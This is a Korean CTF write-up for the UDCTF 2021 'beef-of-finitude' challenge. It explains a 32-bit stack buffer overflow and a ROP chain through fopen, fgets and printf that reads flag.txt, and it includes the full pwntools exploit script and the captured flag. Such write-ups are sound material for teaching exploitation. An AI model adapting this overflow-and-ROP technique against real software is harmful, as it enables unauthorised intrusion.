Sechack
UDCTF(BlueHens CTF) 2021 - beef-of-finitude 풀이 본문
main에서 myFun함수를 호출한다. 저 함수가 핵심기능이다. 하지만 디컴파일 해보려고 하면
에러가 뜨면서 디컴파일이 되지 않는다. 어쩔 수 없이 어셈블리어 수준에서 분석해야 한다. 옆에 보이는 win함수가 어셈 분석결과 fopen, fgets, printf를 이용해서 플래그를 출력해주는 함수였다. 저것도 마찬가지로 디컴파일이 되지 않는다.
win함수이다. 주석부분만 봐도 flag.txt를 읽어서 출력해주는 함수임을 알 수 있다.
myFun함수이다. name과 password를 입력받는다. ebp-0x20에 입력받는데 입력하는 크기는 0x150이어서 BOF가 터지는것을 알 수 있다. 그리고 ebp-0xc의 값을 0x0DEADBEEF와 체크해서 각각 분기한다. 하지만 자세히 보면 출력하는 문자열만 다를뿐 결국 똑같은곳으로 가서 leave; ret을 수행하게 된다. 즉 아무 의미없는 분기문이다. 그래도 그냥
ebp-0xc는 0x0DEADBEEF로 맞춰줬다. BOF가 터지고 아래 leave; ret이 있으므로 Return Address Overwrite를 할 수 있다. win함수로 Return Address를 바꿔줘보자.
Close, but not quite로 빠지면서 fopen이 실행되지 않는다.
그 이유는 이부분에서 ecx가 0이 되지 않아서이다. 굳이 이 루틴을 우회해야 할 필요는 없다.
이부분이 fopen을 하는 부분이다. gdb붙여서 동적분석 해본결과 0x8049110이 fopen의 plt와 같은 역할을 하는것같다.
32비트 호출규약에서는 인자를 스택에 넣으므로 (call 바로뒤에 add esp, 0x10이 있는걸로 보아 cdecl방식 같았다.)
"r"과 "./flag.txt"문자열의 주소를 (.rodata 섹션내에 존재한다.) 스택에 넣고 0x8049110을 넣으면 (rop하듯이) flat.txt파일이 open될것이다. ppr이나 pppr같은 가젯을 활용하여서 chaining할 수도 있다.
flag.txt파일이 성공적으로 열리면서 파일 구조체가 반환된것을 볼 수 있다. 하지만 문제가 있다. 그다음 호출되는 fgets함수에 파일 구조체를 전달해야 하는데 eax를 사용하기가 좀 애매했다. 그래서 저기서부터는 chaining하지 않고 win함수의 흐름을 따라가기로 했다.
fopen이후의 흐름을 보면 ebp-0x1c에 파일 구조체 포인터를 저장합니다. 하지만 위에 디버거 화면을 보면 ebp가 0x61616161입니다. 즉 pop ebp가젯을 이용해서 ebp를 bss영역으로 바꿔줘야 합니다. 이후 fgets에서 ebp-0x1c를 참조해서 인자를 전달하는걸 볼 수 있습니다.
ROPgadget으로 ebp를 조작할 수 있는 가젯을 찾은결과 pop esi; pop edi; pop ebp; ret을 사용하면 될것같습니다.
처음 2개의 pop은 fopen함수의 인자를 pop하게 될것이고 그 뒤에 pop ebp가 우리가 입력한 ebp를 pop하게 될것입니다. 위의 어셈블리어에서 ebp-0x11c도 참조하는것 같으므로 넉넉하게 bss+0x11c를 ebp에 넣어줍니다.
fgets까지 정상적으로 실행되어서 플래그를 bss로 읽어온것을 볼 수 있습니다. 하지만 printf를 해야하는데 첫번째 인자가 잘못된것을 볼 수 있습니다.
printf함수 호출부분을 보면 fgets로 읽어들인 문자열(flag)이 들어간 주소인 ebp-0x11c를 push하고 그다음 ebx-0x1f82를 push하는것을 볼 수 있습니다. IDA로 돌아와서 보면
ebx는 flag: %s\n의 주소 + 0x1f82가 되어야 한다는것을 알 수가 있습니다.
이것 역시 .rodata섹션에 존재합니다. ROPgadget으로 찾아본결과 pop ebx가젯도 있었습니다.
따라서 ebx까지 정상적으로 printf가 호출되게끔 조작해주면 플래그가 출력되게 됩니다.
from pwn import *
#p = process("./bof.out")
r = remote("challenges.ctfd.io", 30027)
e = ELF("./bof.out")
bss = e.bss()
pop_ebx = 0x08049022
pppr = 0x0804934a #pop esi; pop edi; pop ebp; ret
payload = b"a"*0x1a
payload += p32(0xdeadbeef)
payload += b"a"*12
payload += p32(0x8049110)
payload += p32(pppr)
payload += p32(0x0804a021) #./flag.txt
payload += p32(0x0804a01f) #'r'
payload += p32(bss + 0x11c)
payload += p32(pop_ebx)
payload += p32(0x0804a07e+0x1f82)
payload += p32(0x080492f2)
r.sendlineafter(": ", "Sechack")
r.sendlineafter(": ", payload)
r.interactive()
전체 익스플로잇 코드입니다.
플래그가 정상적으로 출력되었습니다.
UDCTF{0bl1g4t0ry_buff3r_ov3rflow}
(대회 중에 작성한 write up으로 대회가 끝날때까지 보호를 걸어놓았습니다.)
'CTF' 카테고리의 다른 글
UDCTF(BlueHens CTF) 2021 - Sandboxed ROP 풀이 (0) | 2021.03.23 |
---|---|
UDCTF(BlueHens CTF) 2021 - Tiny Tim 풀이 (0) | 2021.03.20 |
UTCTF 2021 - Functional Programming 풀이 (0) | 2021.03.15 |
UTCTF 2021 - 2Smol 풀이 (0) | 2021.03.15 |
zer0pts CTF 2021 - Not Beginner's Stack 풀이 (0) | 2021.03.08 |